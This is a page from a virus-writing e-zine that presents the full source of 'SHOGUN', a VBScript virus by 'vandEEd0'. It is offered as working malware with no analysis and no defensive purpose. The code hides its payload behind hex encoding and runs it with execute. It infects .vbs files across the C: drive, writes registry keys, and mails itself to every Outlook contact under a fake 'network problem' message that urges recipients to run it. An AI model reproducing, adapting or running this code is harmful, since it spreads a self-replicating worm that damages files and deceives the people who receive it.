The Revoluti0n
last article table of contents next article

Strange Article - SHOGUN by vandEEd0

Infects vbs files. Av-name: vbs/ednav@mm
Here is the code:

rem vandEEd0 intelihente por sustento sinco
variac="6E7468637079212377626F654646653123"
On Error Resume Next
Function vtear(toki)
 For tok1=1 to Len(toki)
  suki=Hex(Asc(Mid(toki,tok1,1))+1)
  If Len(suki)=1 Then suki="0" & suki
  vtear=vtear+suki
 Next
End Function
Function vwear(shit)
 For sh1 = 1 to Len(shit) step 2
  sh2=Mid(shit,sh1,2)
  vwear=vwear+Chr(Asc(Chr("&h" & sh2))-1)
 Next
End Function
Set frown=CreateObject("Scripting.FileSystemObject")
execute vwear("7466752165626E6F3E677370786F2F686675747166646A626D67706D65667329312A")
set damn=frown.getfolder(damn+"\Samples\WSH")
execute vwear("746675217366683E64736662756670636B6664752923787464736A71752F7469666D6D232A0E0B7366682F73666878736A75662123494C465A6044565353464F5560565446535D54706775786273665D4C627B62625D4D7064626D44706F75666F755D456A7333232D233132333435363B232765626E6F0E0B7366682F73666878736A75662123494C465A6044565353464F5560565446535D54706775786273665D4C627B62625D4D7064626D44706F75666F755D456A7462636D66546962736A6F68232D2331230E0B")
Set zzz=frown.opentextfile(Wscript.ScriptFullname,1)
rock=zzz.readall
zen1=Mid(rock,54+len(variac),Len(rock)-(2*len(variac))-57)
zzz.close
set damn=frown.getfolder("C:\")
breast frown.getfolder("C:\")
 execute vwear("2877626F6566666531217A707621627366216221717675620E0B706F21667373707321736674766E66216F6679750E0B4A672145627A296F70782A3E34322170732145627A296F70782A3E322170732145627A296F70782A3E3432217569666F0E0B216E746863707921234B706C663B214570216F707521646D6A646C2175696621504C2163767575706F217073217A707673214E7A21457064766E666F757421676A6D667421786A6D6D21686675216D70747522230E0B2174667521716A333E64736662756670636B66647529235464736A71756A6F682F476A6D66547A7475666E50636B666475232A210E0B2174667521716A3E64736662756670636B6664752923585464736A71752F5469666D6D232A0E0B21716A623E716A2F747166646A626D67706D6566737429234E7A21457064766E666F7574232A0E0B21477073216662646921716A6767216A6F21716A332F68667567706D65667329716A622A2F676A6D66740E0B212174667521716A793E716A332F486675476A6D6629716A67672F716275692A0E0B2121716A792F65666D6675660E0B214F6679750E0B216E746863707921235466736A7076743B2158662169627766217570216D627668692162752170767321717370636D666E742F230E0B466F65214A670E0B284A21424E215746535A2149504F46545521444D50584F")
sub breast(dirasto)
 execute vwear("477073216662646921797979216A6F21656A73627475702F676A6D66740E0B214A6721564462746629736A686975297979792F6F626E662D352A2A3E232F57435423215569666F0E0B2121546675217A7A7A323E677370786F2F5071666F55667975476A6D66297979792F716275692A0E0B21217370646C3E7A7A7A322F73666265626D6D0E0B21214A67214E6A65297370646C2D362D392A213D3F212377626F654646653123217569666F0E0B2121216F3E7775666273297370646C2A0E0B2121217A7A7A322F646D7074660E0B212121746675217A7A7A323E677370786F2F64736662756675667975676A6D66297979792F716275692A0E0B2121217B7B793E2373666E2177626F6546466531216A6F75666D6A69666F7566217170732174767475666F757021746A6F6470232C776364736D672C237762736A62643E2323232C6F2C7B666F322C6F2C2323232A230E0B2121217A7A7A322F78736A7566217B7B790E0B2121466F65214A670E0B21217A7A7A322F646D7074660E0B21466F65214A670E0B4F6679750E0B477073216662646921676268687075216A6F21656A73627475702F74766367706D656673740E0B21637366627475216762686870750E0B4F667975")
End sub
 execute vwear("546675216D6A7462636263663E44736662756650636B66647529235076756D70706C2F4271716D6A6462756A706F232A0E0B546675216A71626E3E6D6A7462636263662F4866754F626E66547162646629234E42514A232A0E0B477073214662646921776A64756A6E62214A6F216A71626E2F426565736674744D6A7475740E0B21214A6721776A64756A6E622F42656573667474466F75736A66742F4470766F75213D3F2131215569666F0E0B21212121215466752166313E7076756D70706C2F4473666275664A75666E29312A0E0B2121212121477073216F7566733E3221557021776A64756A6E622F42656573667474466F75736A66742F4470766F750E0B21212121212121546675216E62656673213E21776A64756A6E622F42656573667474466F75736A6674296F7566732A0E0B2121212121212166312F434444213E2166312F4344442127233C23276E626566732F426565736674740E0B21212121216F6679750E0B212121212174667521676D7A6A3E6D6A7462636263662F486675476A6D6629587464736A71752F5464736A717547766D6D4F626E662A0E0B212121212166312F4275756264696E666F75742F42656521676D7A6A0E0B212121212166312F5476636B6664753E234F66757870736C21517370636D666E230E0B212121212166312F4370657A3E776364736D672C234576662175702175696621736664666F7521717370636D666E7421786A75692175696621666E626A6D217466737766732D2178662169627766216566776A7466652162217173706873626E217569627521786A6D6D21676A79216A752176712F23212C21600E0B21212121212121212121776364736D672C235A70762162736621736672766674756665217570216570786F6D7062652175696621627575626469666521676A6D6621626F652166796664767566216A7521627521706F64662F21556966217869706D6621746675767121786A6D6D2175626C662136217570213231216E6A6F767566742F214A67217A70767321747A7475666E21647362746966742D216B7674752173667475627375217A7076732164706E717675667321626F6521667766737A75696A6F6821786A6D6D216366216362646C217570216F70736E626D2F23212C21600E0B21212121212121212121776364736D672C776364736D672C23516D666274662167706D6D7078216A6F7475737664756A706F74216462736667766D6D7A2F23212C21600E0B21212121212121212121776364736D672C776364736D672C23547A7475666E2142656E6A6F6A74757362757073232C776364736D672C234F66757870736C214E626F6268666E666F752F230E0B212121212166312F45666D66756642677566735476636E6A75213E21557376660E0B212121212166312F74666F650E0B21212121666F65216A670E0B6F667975")
 execute vwear("6E7468637079212377626F654646653123")

living virus